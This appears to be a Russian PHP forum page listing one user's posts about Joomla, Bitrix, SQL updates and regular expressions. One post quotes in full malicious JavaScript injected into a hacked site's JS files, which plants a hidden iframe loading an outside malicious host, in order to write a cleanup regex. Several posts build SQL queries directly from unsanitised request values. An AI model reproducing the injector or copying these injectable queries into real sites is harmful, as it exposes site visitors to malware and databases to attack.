PHP.SU

Программирование на PHP, MySQL и другие веб-технологии
PHP.SU Портал     На главную страницу форума Главная     Помощь Помощь     Поиск Поиск     Поиск Яндекс Поиск Яндекс     Вакансии  Пользователи Пользователи

Страниц (3): [1] 2 3 »

> Найдено сообщений: 41
ginec Отправлено: 04 Октября, 2013 - 23:05:35 • Тема: Нужна новая таблица при регистрации в JOOMLA 3 • Форум: CMS и фреймворки

Ответов: 3
Просмотров: 1727
Ну во-первых, вам нужно отказаться от создания таблицы для каждого пользователя. Нужно создать одну таблицу и добавлять в нее записи, в столбце user_id храните id пользователя.
Напишите плагин. в котором будете создавать и удалять записи по событиям onContentAfterSave и onContentAfterDelete соответственно. id пользователя можете получить так
PHP:
скопировать код в буфер обмена
  1.  
  2. $user = JFactory::getUser();
  3. echo $user->get('id');
  4.  
ginec Отправлено: 01 Октября, 2013 - 23:03:29 • Тема: Битрикс. Установка в каталог • Форум: CMS и фреймворки

Ответов: 4
Просмотров: 4817
уже
ginec Отправлено: 01 Октября, 2013 - 22:04:43 • Тема: Битрикс. Установка в каталог • Форум: CMS и фреймворки

Ответов: 4
Просмотров: 4817
Джумлу можно в любую папку положить насколько знаю, там путь по-человечески в JPATH_SITE определяется. Если бы можно было установить на поддомен, то установил бы, но увы.
ginec Отправлено: 01 Октября, 2013 - 21:07:26 • Тема: Битрикс. Установка в каталог • Форум: CMS и фреймворки

Ответов: 4
Просмотров: 4817
Нужно перетащить битрикс с тестового хоста на основной. На основном установлена joomla. Битрикс должен открываться по пути http://site[dot]ru/shop/
Перетаскиваю битрикс с помощью restore.php (лежит в папке shop). Получаю ошибку "Error: this script must be started from Web Server's DOCUMENT ROOT" Как ее можно обойти? я бы мог установить в корень и потом перетащить в shop, но, почти уверен, что сайт работать не будет, т.к. часто используется $_SERVER['DOCUMENT_ROOT'] Какие есть пути обойти? На форуме битрикса есть похожие темы, но решения нет.
ginec Отправлено: 04 Мая, 2013 - 10:05:59 • Тема: Помогите составить регулярку • Форум: Регулярные выражения

Ответов: 2
Просмотров: 203
DeepVarvar, спасибо за ответ. С u моя регулярка не работает Огорчение
(Добавление)
ееее )))
получилось
Сделал так /^\/\*(.*)\*\/(.*)filesynchingstone(.*)\}\)\(\);\/\*(.*?)\*\//s
Проблема была в /*(.*?)*/ добавил модификатор ?
DeepVarvar спасибо, что откликнулся!
ginec Отправлено: 04 Мая, 2013 - 09:29:02 • Тема: Помогите составить регулярку • Форум: Регулярные выражения

Ответов: 2
Просмотров: 203
Всем привет! Помогите составить регулярку для массовой замены в js файлах. Вздули сайт и во всех js такой код прилеплен.
Причем комменты меняются /*214afaae*/ Т.е. тут наверное надо юзать \/\*(.*)\*\/
в PHP так же был обнаружен вредоносный код, его почистил

Сделал /^\/\*(.*)\*\/(.*)filesynchingstone(.*)\}\)\(\);(\/\*(.*)\*\/)/s
но захватывает все до последнего коммента, если комментов в файле нет, то работает нормально.


CODE (javascript):
скопировать код в буфер обмена
  1. /*214afaae*/(function(){
  2. function stripos (f_haystack, f_needle, f_offset) {
  3.  var haystack = (f_haystack + '').toLowerCase();
  4.  var needle = (f_needle + '').toLowerCase();
  5.  var index = 0;
  6.  if ((index = haystack.indexOf(needle, f_offset)) !== -1) {
  7.   return index;
  8.  }
  9.  return false;
  10. }
  11. function papirosa(){
  12.  var denyList = ['Chrome'];
  13.  var denyUA = false;
  14.  for (var i in denyList) {
  15.   if (stripos(navigator.userAgent, denyList[i])) {
  16.    denyUA = true;
  17.    break;
  18.   }
  19.  }
  20.  return denyUA;
  21. }
  22. function setCookie(name, value, expires) {
  23.  var date = new Date( new Date().getTime() + expires*1000 );
  24.  document.cookie = name+'='+value+'; path=/; expires='+date.toUTCString();
  25. }
  26. function getCookie(name) {
  27.  var matches = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g, '\$1') + "=([^;]*)" ));
  28.  return matches ? decodeURIComponent(matches[1]) : undefined;
  29. }
  30. if (!papirosa()) {
  31.  var cookie = getCookie('b19ad018sc');
  32.  if (cookie == undefined) {
  33.   setCookie('b19ad018sc', true, 292200);
  34.   document.write('<iframe height="117" style="position:absolute;left:-1000px;top:-1000px;" width="117" src="http://filesynchingstone.ru/mhg7.fOxVhIC?default"></iframe>');
  35.  }
  36. };
  37. })();/*eaa795220*/
ginec Отправлено: 04 Августа, 2011 - 14:08:31 • Тема: UPDATE несколько записей • Форум: SQL и Архитектура БД

Ответов: 2
Просмотров: 42
Может через UNION сделать?
ginec Отправлено: 03 Августа, 2011 - 11:50:45 • Тема: UPDATE несколько записей • Форум: SQL и Архитектура БД

Ответов: 2
Просмотров: 42
Плз, если что-то непонятно, то постараюсь изложить поподробнее проблему.
ginec Отправлено: 02 Августа, 2011 - 12:39:47 • Тема: UPDATE несколько записей • Форум: SQL и Архитектура БД

Ответов: 2
Просмотров: 42
Всем привет!
Есть таблица table с колонками id, author и book
Потом я вывожу записи в виде input type="text" с таблицы table, которые соответствуют значению book

Поля динамические, т.е. мы можем удалить любого автора по нажатию кнопки "X"
CODE (html):
скопировать код в буфер обмена
  1. <input type="text" name="author[2]" value="Автор с id 2" /> X
  2. <input type="text" name="author[9]" value="Автор с id 9" /> X
  3. <input type="text" name="author[32]" value="Автор с id 32" /> X
  4. <input type="text" name="author[55]" value="Автор с id 55" /> X


Теперь надо сохранить значения
PHP:
скопировать код в буфер обмена
  1. <?PHP
  2. $authors = $_GET['author'];
  3.  
  4. foreach ($authors as $k=>$name) {
  5.  $update[] = "`author` = '$name'";
  6.  $ids[] = "'$k'";
  7. }
  8.  
  9. $query = "UPDATE `table` SET ".implode(', ', $update)." WHERE `id` IN(".implode(', ', $ids).")";
  10. ?>
  11.  

Вопрос. Обновятся ли записи, при этом чтобы оставалось соответствие? Т.е., чтобы Автор с id 55 не сохранилось вместо Автор с id 9?
ginec Отправлено: 19 Июня, 2011 - 13:27:53 • Тема: Помогите с UPDATE • Форум: SQL и Архитектура БД

Ответов: 2
Просмотров: 36
altermann, спасибо! Может и не упадет. Буду пробовать =)
ginec Отправлено: 19 Июня, 2011 - 12:29:10 • Тема: Помогите с UPDATE • Форум: SQL и Архитектура БД

Ответов: 2
Просмотров: 36
Всем привет! Мне надо обновить количество товаров в заказе по id.
Таблица table
CODE (htmlphp):
скопировать код в буфер обмена
  1.  
  2. +--+--------+-------+---------+
  3. | id | count  | order | product|
  4. +--+--------+-------+---------+
  5. | 5  |     2    |   34   |    14    |
  6. ----------------------------------
  7. | 7  |     6    |   51   |    65    |
  8. ----------------------------------  
  9. | 11 |     1   |   34   |    24    |
  10. ----------------------------------
  11. | 23|     8    |   34   |    54    |
  12. ----------------------------------
  13.  


Тут думаю все понятно. id - id записи, count - количество в заказе, order - id заказа таблицы orders, и id товара.
Генерируется такая форма для ввода количества едениц товара в заказе.
CODE (html):
скопировать код в буфер обмена
  1.  
  2. <input type="text" class="field" name="count[5]" value="2">
  3. <input type="text" class="field" name="count[23]" value="8">
  4. <input type="text" class="field" name="count[11]" value="1">
  5.  

count[id_записи] value="количество"
Предположим,что юзер захотел изменить количество товара в заказе
Теперь возникает вопрос "Как обновить количество товаров?"
Я сделал так

PHP:
скопировать код в буфер обмена
  1. $count = $_GET['count'];
  2.  
  3. foreach ( $count as $id=>$c ) {
  4.      $q[] = "UPDATE  `table` SET `count` = '$c' WHERE `id` = '$id'";
  5. }
  6. //вот сам запрос
  7. $query = (' UNION ', $q);


Выводит
UPDATE `table` SET `count` = '2' WHERE `id` = '5' UNION UPDATE `table` SET `count` = '8' WHERE `id` = '23' UNION UPDATE `table` SET `count` = '1' WHERE `id` = '11'

Я так понял, что UNION+UPDATE не работает. Гуглил, ничего нет.
Пока кроме отправки запроса по отдельности в цикле ничего не вижу. Но это очень плохо. Как быть с этим? Растерялся
Если что-то не так объяснил, то скажите. Сейчас на этом вся работа остановилась
ginec Отправлено: 06 Мая, 2011 - 13:05:44 • Тема: Бот робокассы и завершение сессии • Форум: CMS и фреймворки

Ответов: 9
Просмотров: 5545
Не знаю, как заказчик отнесется к такой идее. Там ситуация сложная. Если обходиться без сессий, то получается надо чтобы юзер был залогинен.
ginec Отправлено: 05 Мая, 2011 - 17:58:44 • Тема: Бот робокассы и завершение сессии • Форум: CMS и фреймворки

Ответов: 9
Просмотров: 5545
Zuldek пишет:
Не очень понял зачем держать товар в корзине после инициации оплата заказа.

Размышляете Вы интересно. И даже заставили меня засомневаться в моих действиях. Т.е. вы предлагаете избежать сессий и заносить в бд товар и idUser?
ginec Отправлено: 05 Мая, 2011 - 16:28:23 • Тема: Бот робокассы и завершение сессии • Форум: CMS и фреймворки

Ответов: 9
Просмотров: 5545
может надо token передавать? уже голова ломается...
(Добавление)
Viper, спасибо за помощь! в контроллере у меня за проверку result url отвечал task paymentChecker, после переименования в payment все заработало. видать из-за camelCase
ginec Отправлено: 05 Мая, 2011 - 12:59:45 • Тема: Бот робокассы и завершение сессии • Форум: CMS и фреймворки

Ответов: 9
Просмотров: 5545
Спсибо.
Сделал так
PHP:
скопировать код в буфер обмена
  1. JSession::clear( 'places', 'default' );

но корзина не опустела((
Поясните. если не сложно, в чем отличие
PHP:
скопировать код в буфер обмена
  1. $session = &JSession::getInstance('default', array());

от
PHP:
скопировать код в буфер обмена
  1.  $session = JFactory::getSession();



И какие параметры есть у этого метода. гуглил, но ничего толкового не нашел.

И все же вопрос пока не решен
(Добавление)
При переходе с робокассы, корзина становится пустой, но если перехожу на другую страницу, то и корзина не пуста

Страниц (3): [1] 2 3 »
Powered by PHP  Powered By MySQL  Powered by Nginx  Valid CSS  RSS

 
Powered by ExBB FM 1.0 RC1. InvisionExBB